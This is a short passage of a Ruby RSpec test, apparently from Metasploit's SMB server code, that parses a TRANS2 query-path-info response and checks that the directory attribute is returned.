mod.smb_cmd_trans_query_path_info_network(client, folder_path)
|
||||
client.seek(0)
|
||||
res = client.read
|
||||
|
||||
trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct
|
||||
trans2_res.from_s(res)
|
||||
param_count = trans2_res['Payload'].v['ParamCount']
|
||||
data_count = trans2_res['Payload'].v['DataCount']
|
||||
|
||||
data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count]
|
||||
smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
|
||||
smb_data.from_s(data)
|
||||
|
||||
expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue